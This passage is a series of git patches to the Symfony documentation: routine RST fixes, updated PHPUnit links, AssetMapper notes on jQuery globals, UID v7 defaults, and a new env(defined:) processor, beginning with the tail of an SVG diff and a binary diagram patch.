+  <use xlink:href="#glyph2-11" x="212.763021" y="156.762044"/>
+  <use xlink:href="#glyph2-1" x="222.207465" y="156.762044"/>
+</g>
+<path style="fill:none;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.951044 26.559327 L 48.940497 35.999756 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.2;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 48.690497 35.999366 L 48.939911 36.499756 L 49.190497 35.999952 Z M 48.690497 35.999366 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.231317 33.419678 L 43.231317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 42.981317 35.869678 L 43.231317 36.369678 L 43.481317 35.869678 Z M 42.981317 35.869678 " transform="matrix(20,0,0,20,-583.974,-430.042)"/>
+</g>
+</svg>
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/components/serializer/serializer_workflow.dia
index 6cb44280d0d2c31a623cf915db6c39110b230959..3e2ea62558fa955d02743c735fb5fcfa87d01be4 100644
GIT binary patch
literal 1957
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

literal 1770
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
M0g<KS-yl~20DIhdkN^Mx


From 31c2ce7e44b5e307c5d089e6ad7ddf041484c7fc Mon Sep 17 00:00:00 2001
From: Thibault Miscoria <thibault.miscoria@gmail.com>
Date: Fri, 23 Jun 2023 16:35:21 +0200
Subject: [PATCH 3426/5766] Remove incomplete duplicate

Remove an incomplete duplicate which appeared in 6.3 branch
---
 reference/constraints/UniqueEntity.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 6f0c2526bc5..1625ad8f71f 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -254,11 +254,6 @@ each with a single field.
 ``ignoreNull``
 ~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``true``
-
-``ignoreNull``
-~~~~~~~~~~~~~~
-
 **type**: ``boolean`` | ``string`` | ``array`` **default**: ``true``
 
 If this option is set to ``true``, then the constraint will allow multiple

From 7da82f891c16967f42ec0d5dfba12bc590975e46 Mon Sep 17 00:00:00 2001
From: Fabien Papet <FabienPapet@users.noreply.github.com>
Date: Fri, 23 Jun 2023 13:51:55 +0200
Subject: [PATCH 3427/5766] Update custom_authenticator.rst

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 76e2fc1b291..d9debbb1fb0 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function (string $userIdentifier): ?User {
+                    new UserBadge($email, function (string $userIdentifier): ?UserInterface {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials

From 94c3941bac04eb0d1968fd9d22ed6da5bef74412 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 23 Jun 2023 15:22:18 +0200
Subject: [PATCH 3428/5766] Mention Rector in the upgrading articles

---
 setup/upgrade_major.rst | 7 +++++++
 setup/upgrade_minor.rst | 7 +++++++
 2 files changed, 14 insertions(+)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index d6faf5f81c5..ed81d4e21d7 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -54,6 +54,12 @@ And sometimes, the warning may come from a third-party library or bundle
 that you're using. If that's true, there's a good chance that those deprecations
 have already been updated. In that case, upgrade the library to fix them.
 
+.. tip::
+
+    `Rector`_ is a third-party project that automates the upgrading and
+    refactoring of PHP projects. Rector includes some rules to fix certain
+    Symfony deprecations automatically.
+
 Once all the deprecation warnings are gone, you can upgrade with a lot
 more confidence.
 
@@ -314,3 +320,4 @@ Classes in the ``vendor/`` directory are always ignored.
        Now, you can safely allow ``^6.0`` for the Symfony dependencies.
 
 .. _`PHP CS Fixer`: https://github.com/friendsofphp/php-cs-fixer
+.. _`Rector`: https://github.com/rectorphp/rector
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index bb1cfda62fa..9e8c6943d1f 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -84,6 +84,12 @@ included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
 
+.. tip::
+
+    `Rector`_ is a third-party project that automates the upgrading and
+    refactoring of PHP projects. Rector includes some rules to fix certain
+    Symfony deprecations automatically.
+
 These documents can also be found in the `Symfony Repository`_.
 
 .. _updating-flex-recipes:
@@ -92,3 +98,4 @@ These documents can also be found in the `Symfony Repository`_.
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
 .. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md
+.. _`Rector`: https://github.com/rectorphp/rector

From 1945dba92b22d1dd25f03bd364fcc6bae4c5a417 Mon Sep 17 00:00:00 2001
From: Tim Krase <38947626+timkrase@users.noreply.github.com>
Date: Sun, 25 Jun 2023 13:33:47 +0200
Subject: [PATCH 3429/5766] [Tests] Update PHPUnit documentation links

---
 best_practices.rst                | 2 +-
 components/phpunit_bridge.rst     | 8 ++++----
 create_framework/unit_testing.rst | 4 ++--
 form/unit_testing.rst             | 2 +-
 testing.rst                       | 6 +++---
 5 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 02896abc627..02315856d00 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -463,4 +463,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 558fd808db6..288989dcd87 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -1064,11 +1064,11 @@ not find the SUT:
 .. _`PHPUnit`: https://phpunit.de
 .. _`PHPUnit event listener`: https://docs.phpunit.de/en/10.0/extending-phpunit.html#phpunit-s-event-system
 .. _`ErrorHandler component`: https://github.com/symfony/error-handler
-.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.5/assertions.html#assertstringmatchesformat
+.. _`PHPUnit's assertStringMatchesFormat()`: https://docs.phpunit.de/en/9.6/assertions.html#assertstringmatchesformat
 .. _`PHP error handler`: https://www.php.net/manual/en/book.errorfunc.php
-.. _`environment variable`: https://docs.phpunit.de/en/9.5/configuration.html#the-env-element
+.. _`environment variable`: https://docs.phpunit.de/en/9.6/configuration.html#the-env-element
 .. _`@-silencing operator`: https://www.php.net/manual/en/language.operators.errorcontrol.php
 .. _`Travis CI`: https://travis-ci.org/
-.. _`test listener`: https://docs.phpunit.de/en/9.5/configuration.html#the-extensions-element
-.. _`@covers`: https://docs.phpunit.de/en/9.5/annotations.html#covers
+.. _`test listener`: https://docs.phpunit.de/en/9.6/configuration.html#the-extensions-element
+.. _`@covers`: https://docs.phpunit.de/en/9.6/annotations.html#covers
 .. _`PHP namespace resolutions rules`: https://www.php.net/manual/en/language.namespaces.rules.php
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index cd3b30cac6c..916711de0ce 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/9.5/
-.. _`test doubles`: https://docs.phpunit.de/en/9.5/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/9.6/
+.. _`test doubles`: https://docs.phpunit.de/en/9.6/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 3c4a7b780a3..bcd82a1ee38 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -241,4 +241,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 24326be908a..fb041937052 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1116,12 +1116,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://docs.phpunit.de/
-.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.5/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.5/configuration.html
+.. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://docs.phpunit.de/en/9.6/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.5/assertions.html
+.. _`PHPUnit Assertion`: https://docs.phpunit.de/en/9.6/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 77c98fea66e51da771360fe6edaeaf0b2a780c13 Mon Sep 17 00:00:00 2001
From: Jan Klan <jan@klan.com.au>
Date: Mon, 26 Jun 2023 11:58:10 +0930
Subject: [PATCH 3430/5766] Fix incorrect placement of is_empty_callback

---
 reference/forms/types/form.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9ef474a0063..9891ea28cb4 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -61,6 +61,10 @@ The actual default value of this option depends on other field options:
 * If ``data_class`` is not set and ``compound`` is ``false``, then ``''``
   (empty string).
 
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. _reference-form-option-error-bubbling:
+
 ``is_empty_callback``
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -68,9 +72,6 @@ The actual default value of this option depends on other field options:
 
 This callable takes form data and returns whether value is considered empty.
 
-.. include:: /reference/forms/types/options/empty_data_description.rst.inc
-
-.. _reference-form-option-error-bubbling:
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From e48b20d329addf5defc9d7d4aab7f2fe4695617a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 26 Jun 2023 10:48:13 +0200
Subject: [PATCH 3431/5766] Minor

---
 reference/forms/types/form.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9891ea28cb4..60d6bde2793 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -63,8 +63,6 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/empty_data_description.rst.inc
 
-.. _reference-form-option-error-bubbling:
-
 ``is_empty_callback``
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -72,6 +70,7 @@ The actual default value of this option depends on other field options:
 
 This callable takes form data and returns whether value is considered empty.
 
+.. _reference-form-option-error-bubbling:
 
 .. include:: /reference/forms/types/options/error_bubbling.rst.inc
 

From fce9ca0a0e76fab7ba2b953b8e9f5eceec1cf924 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Tue, 27 Jun 2023 17:02:18 -0400
Subject: [PATCH 3432/5766] [AssetMapper] Adding notes about global variables
 and tailwind-bundle

---
 frontend/asset_mapper.rst | 47 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 4feacfd63fd..bafc2671c2b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -341,6 +341,47 @@ also shows how you can require multiple packages at once:
 
     $ php bin/console importmap:require highlight.js/lib/core highlight.js/lib/languages/javascript
 
+Global Variables like jQuery
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You might be accustomed to relying on global variables - like jQuery's ``$``
+variable:
+
+.. code-block:: javascript
+
+    // assets/app.js
+    import 'jquery';
+
+    // app.js or any other file
+    $('.something').hide(); // WILL NOT WORK!
+
+But in a module environment (like with AssetMapper), when you import
+a library like ``jquery``, it does *not* create a global variable. Instead, you
+should import it and set it to a variable in *every* file you need it:
+
+.. code-block:: javascript
+
+    import $ from 'jquery';
+    $('.something').hide();
+
+You can even do this from an inline script tag:
+
+.. code-block:: html
+
+    <script type="module">
+        import $ from 'jquery';
+        $('.something').hide();
+    </script>
+
+If you *do* need something to become a global variable, you do it manually
+from inside ``app.js``:
+
+.. code-block:: javascript
+
+    import $ from 'jquery';
+    // things on "window" become global variables
+    window.$ = $;
+
 Handling 3rd-Party CSS
 ----------------------
 
@@ -713,6 +754,11 @@ component.
 Using Tailwind CSS
 ------------------
 
+.. seealso::
+
+    Check out `symfonycasts/tailwind-bundle`_ for an even easier way to use
+    Tailwind with Symfony.
+
 Want to use the `Tailwind`_ CSS framework with the AssetMapper component? No problem.
 First, install the ``tailwindcss`` binary. This can be installed via npm (run
 ``npm --init`` if you don't already have a ``package.json`` file):
@@ -1095,3 +1141,4 @@ This will force the AssetMapper component to re-calculate the content of all fil
 .. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle
 .. _Cloudflare: https://www.cloudflare.com/
 .. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle
+.. _symfonycasts/tailwind-bundle: https://github.com/SymfonyCasts/tailwind-bundle

From 480fc64f6df4e1f150da0cd04d16b581fb2ca87d Mon Sep 17 00:00:00 2001
From: Ladislav Kubes <ladislav.k@gmail.com>
Date: Tue, 27 Jun 2023 21:14:36 +0200
Subject: [PATCH 3433/5766] [Uid] v7 is the new default version

See https://github.com/symfony/recipes/pull/1145
---
 components/uid.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 24f4c59255b..0b1f6f1c030 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -94,10 +94,10 @@ configure the behavior of the factory using configuration files::
         # config/packages/uid.yaml
         framework:
             uid:
-                default_uuid_version: 6
+                default_uuid_version: 7
                 name_based_uuid_version: 5
                 name_based_uuid_namespace: 6ba7b810-9dad-11d1-80b4-00c04fd430c8
-                time_based_uuid_version: 6
+                time_based_uuid_version: 7
                 time_based_uuid_node: 121212121212
 
     .. code-block:: xml
@@ -113,10 +113,10 @@ configure the behavior of the factory using configuration files::
 
             <framework:config>
                 <framework:uid
-                    default_uuid_version="6"
+                    default_uuid_version="7"
                     name_based_uuid_version="5"
                     name_based_uuid_namespace="6ba7b810-9dad-11d1-80b4-00c04fd430c8"
-                    time_based_uuid_version="6"
+                    time_based_uuid_version="7"
                     time_based_uuid_node="121212121212"
                 />
             </framework:config>
@@ -135,10 +135,10 @@ configure the behavior of the factory using configuration files::
 
             $container->extension('framework', [
                 'uid' => [
-                    'default_uuid_version' => 6,
+                    'default_uuid_version' => 7,
                     'name_based_uuid_version' => 5,
                     'name_based_uuid_namespace' => '6ba7b810-9dad-11d1-80b4-00c04fd430c8',
-                    'time_based_uuid_version' => 6,
+                    'time_based_uuid_version' => 7,
                     'time_based_uuid_node' => 121212121212,
                 ],
             ]);
@@ -160,7 +160,7 @@ on the configuration you defined::
 
         public function generate(): void
         {
-            // This creates a UUID of the version given in the configuration file (v6 by default)
+            // This creates a UUID of the version given in the configuration file (v7 by default)
             $uuid = $this->uuidFactory->create();
 
             $nameBasedUuid = $this->uuidFactory->nameBased(/** ... */);

From b9f2a576b70c47363392ffd98d4c8d561a6b23b3 Mon Sep 17 00:00:00 2001
From: Gary PEGEOT <garypegeot@gmail.com>
Date: Wed, 28 Jun 2023 19:52:53 +0000
Subject: [PATCH 3434/5766]  [DependencyInjection] Add defined prefix for env
 var processor

Fixes #18462
---
 configuration/env_var_processors.rst | 37 ++++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 937c0e341f6..562dc57420b 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -786,6 +786,43 @@ Symfony provides the following env var processors:
 
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
+``env(defined:NO_FOO)``
+    Evaluates to ``true`` if the env var is defined (ie: different from ``''`` or ``null``), ``false`` otherwise.
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            parameters:
+                typed_env: '%env(defined:NO_FOO)%'
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <parameters>
+                    <parameter key="typed_env"'%env(defined:NO_FOO)%</parameter>
+                </parameters>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            $container->setParameter('typed_env', '%env(defined:NO_FOO)%');
+
+    .. versionadded:: 6.4
+
+        The ``env(defined:...)`` env var processor was introduced in Symfony 6.4.
+
 It is also possible to combine any number of processors:
 
 .. configuration-block::

From 7f31c49c1caef55e344ec8002eb8b290aba05871 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Jun 2023 08:44:09 +0200
Subject: [PATCH 3435/5766] Tweaks

---
 configuration/env_var_processors.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 562dc57420b..885099eceec 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -787,7 +787,8 @@ Symfony provides the following env var processors:
         The ``env(enum:...)`` env var processor was introduced in Symfony 6.2.
 
 ``env(defined:NO_FOO)``
-    Evaluates to ``true`` if the env var is defined (ie: different from ``''`` or ``null``), ``false`` otherwise.
+    Evaluates to ``true`` if the env var exists and its value is from ``''``
+    (an empty string) or ``null``; it returns ``false`` otherwise.
 
     .. configuration-block::
 
@@ -795,7 +796,7 @@ Symfony provides the following env var processors:
 
             # config/services.yaml
             parameters:
